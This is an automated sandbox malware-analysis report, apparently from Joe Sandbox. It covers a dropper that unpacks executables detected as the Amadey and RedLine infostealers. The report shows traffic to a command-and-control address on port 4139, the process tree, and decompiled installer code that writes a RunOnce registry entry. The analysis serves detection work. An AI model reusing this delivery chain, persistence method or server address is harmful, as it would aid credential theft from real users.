Feb 19, 2023 02:32:21.722418070 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:21.722666979 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:22.070574045 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:22.093725920 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:22.137518883 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:23.452574015 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:23.476854086 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:23.528230906 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:30.630064011 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:30.654742002 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:30.654825926 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:30.654875994 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:30.654911995 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:30.769176960 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:32.411530972 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:32.435293913 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:32.497752905 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:32.539527893 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:32.562376976 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:32.562817097 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:32.607189894 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:32.923265934 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:32.946846008 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:32.982080936 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:33.005553961 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:33.060344934 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:33.148724079 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:33.171540022 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:33.171603918 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:33.172175884 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:33.215698957 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:33.239433050 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:33.279166937 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:33.316579103 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:33.339760065 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:33.388473988 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:34.851272106 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:34.874078035 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:34.874370098 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:34.919847012 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:34.987217903 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.010979891 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.019686937 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.043313980 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.044576883 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.067986965 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.099214077 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.122812986 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.169902086 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.239923000 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.263230085 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.310482979 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.436047077 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.463315964 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.465219021 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.489403963 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.501846075 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.525026083 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.576174021 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.616517067 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.639223099 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.639585018 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.640007019 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.665282965 CET	4139	49699	193.233.20.17	192.168.2.3
Feb 19, 2023 02:32:35.716769934 CET	49699	4139	192.168.2.3	193.233.20.17
Feb 19, 2023 02:32:35.723017931 CET	49699	4139	192.168.2.3	193.233.20.17

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 21fvBVFMsn.exePID: 3460, Parent PID: 3452

General

Target ID:	0
Start time:	02:31:55
Start date:	19/02/2023
Path:	C:\Users\user\Desktop\21fvBVFMsn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\21fvBVFMsn.exe
Imagebase:	0xa40000
File size:	764928 bytes
MD5 hash:	478E1C903CFCDA85ACDB9759AE80E155
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.241227286.0000000004A02000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: sEm51bM.exePID: 3236, Parent PID: 3460

General

Target ID:	1
Start time:	02:31:55
Start date:	19/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe
Imagebase:	0x320000
File size:	571904 bytes
MD5 hash:	EE9CEC71CDD89A723F90D5013E963B02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 69%, ReversingLabs Detection: 55%, Virustotal, Browse
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: sMt14vz.exePID: 6120, Parent PID: 3236

General

Target ID:	2
Start time:	02:31:56
Start date:	19/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe
Imagebase:	0x10d0000
File size:	206848 bytes
MD5 hash:	EA0FADAB5F038CDB93F37EA867C62934
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 69%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: ijx54ck.exePID: 6108, Parent PID: 6120

General

Target ID:	3
Start time:	02:31:56
Start date:	19/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe
Imagebase:	0x6e0000
File size:	11264 bytes
MD5 hash:	7E93BACBBC33E6652E147E7FE07572A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 85%, ReversingLabs
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5388, Parent PID: 3452

General

Target ID:	4
Start time:	02:32:04
Start date:	19/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0x7ff630c50000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: kxL91dA.exePID: 3228, Parent PID: 6120

General

Target ID:	5
Start time:	02:32:07
Start date:	19/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe
Imagebase:	0x4e0000
File size:	179200 bytes
MD5 hash:	C9C03EC2426C8416841FD7E93BB9DC3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000000.267575199.00000000004E2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5188, Parent PID: 3452

General

Target ID:	6
Start time:	02:32:13
Start date:	19/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\
Imagebase:	0x7ff630c50000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4340, Parent PID: 3452

General

Target ID:	14
Start time:	02:32:21
Start date:	19/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\
Imagebase:	0x7ff630c50000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 21fvBVFMsn.exePID: 3460, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	28.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.7%
Total number of Nodes:	962
Total number of Limit Nodes:	25

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00A4202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00A4202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0xa48004; // 0x173b1603
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E00A46CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E00A4171E("wextract_cleanup0", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup0", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E00A4658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0xa49a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0xa491e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0xa491e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0xa491e5);
						if(_t90 != 0) {
							 *0xa48580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
							E00A4171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup0", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E00A444B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E00A4658A( &_v268, 0x104, 0xa41140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0xa48530 = _t66;
				goto L23;
			}

0x00a4202a
0x00a42035
0x00a4203c
0x00a42041
0x00a42050
0x00a4205f
0x00a42064
0x00a4206f
0x00a4208c
0x00a42094
0x00a42257
0x00a42266
0x00a42266
0x00a4209a
0x00a4209b
0x00a4209d
0x00a420aa
0x00a420af
0x00a420c9
0x00a420d1
0x00000000
0x00000000
0x00a420d3
0x00a420da
0x00000000
0x00000000
0x00000000
0x00a420da
0x00a420e2
0x00a42103
0x00a4210e
0x00a42116
0x00a42122
0x00a42128
0x00a4212c
0x00a42179
0x00a42194
0x00a421de
0x00a421e4
0x00a42256
0x00a42256
0x00000000
0x00a42256
0x00a42196
0x00a42196
0x00a4219c
0x00a4219f
0x00a4219f
0x00a421a1
0x00a421a2
0x00a421a6
0x00a421a8
0x00a421b0
0x00a421b0
0x00a421b2
0x00a421b3
0x00a421bc
0x00a421c7
0x00a421cb
0x00a421f1
0x00a421f6
0x00a421fd
0x00a421ff
0x00a421ff
0x00a42204
0x00a42213
0x00a42218
0x00a4221d
0x00a4221d
0x00a42220
0x00a42220
0x00a42222
0x00a42223
0x00a42229
0x00a4223d
0x00a42249
0x00a42250
0x00000000
0x00a42250
0x00a421d2
0x00a421d9
0x00000000
0x00a421d9
0x00a4213a
0x00a42141
0x00a42144
0x00a4214c
0x00000000
0x00000000
0x00a42163
0x00a42172
0x00a42172
0x00000000
0x00a42163
0x00a420ea
0x00a420f0
0x00000000

APIs

memset.MSVCRT ref: 00A42050
memset.MSVCRT ref: 00A4205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00A4208C

Part of subcall function 00A4171E: _vsnprintf.MSVCRT ref: 00A41750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A420C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A420EA
GetSystemDirectoryA.KERNEL32 ref: 00A42103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A42122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00A42134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A42144
GetSystemDirectoryA.KERNEL32 ref: 00A4215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A4218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A421C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A421E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 00A4223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A42249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A42250

Strings

wextract_cleanup%d, xrefs: 00A4209E
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A421A8, 00A42204
wextract_cleanup0, xrefs: 00A420A5, 00A420BE, 00A420F0, 00A42232
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00A421F6
DelNodeRunDLL32, xrefs: 00A4212E
advpack.dll, xrefs: 00A42109
%s /D:%s, xrefs: 00A421FF, 00A42210
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00A42082

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-3765599613
Opcode ID: 7ea4bfd4ccc26a5d1aa26feb9e9ffb3a9214bb5eef41147725e79a22ddc24702
Instruction ID: 636353a74a93ab31f92028475598d3ddc03be4b74975bf9ca08c1c24c368b0d1
Opcode Fuzzy Hash: 7ea4bfd4ccc26a5d1aa26feb9e9ffb3a9214bb5eef41147725e79a22ddc24702
Instruction Fuzzy Hash: E951077DA40214ABDB20DBA4DC49FEB777CEFD5700F0002A4F905E6151DAB69E86CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A43BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00A43BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0xa48004; // 0x173b1603
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0xa49124 =  *0xa49124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0xa48a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0xa48c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E00A4468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E00A444B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0xa49124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E00A41AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E00A46CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E00A43FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0xa48580;
													if( *0xa48580 != 0) {
														E00A42267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0xa48180;
											if( *0xa48180 == 0) {
												_t146 = 0x4c7;
												E00A444B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0xa49124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0xa49a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E00A46495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E00A444B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0xa49124 = E00A46285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E00A444B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0xa48a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0xa49a40; // 0x3
											_v364 = _t96;
											_t97 =  *0xa48a38 & 0x0000ffff;
											_v380 = 0xa49154;
											_v376 = _t151;
											_v372 = 0xa491e4;
											_v360 = _t97;
											if( *0xa48a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0xa49a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0xa48d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0xa49a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0xa4a288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0xa49124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0xa49a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0xa48a20;
										if( *0xa48a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E00A4202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E00A4468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0xa48c42;
									if( *0xa48c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0xa48a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E00A4468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E00A4468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E00A41781( &_v276, 0x104, _t130, 0xa48c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
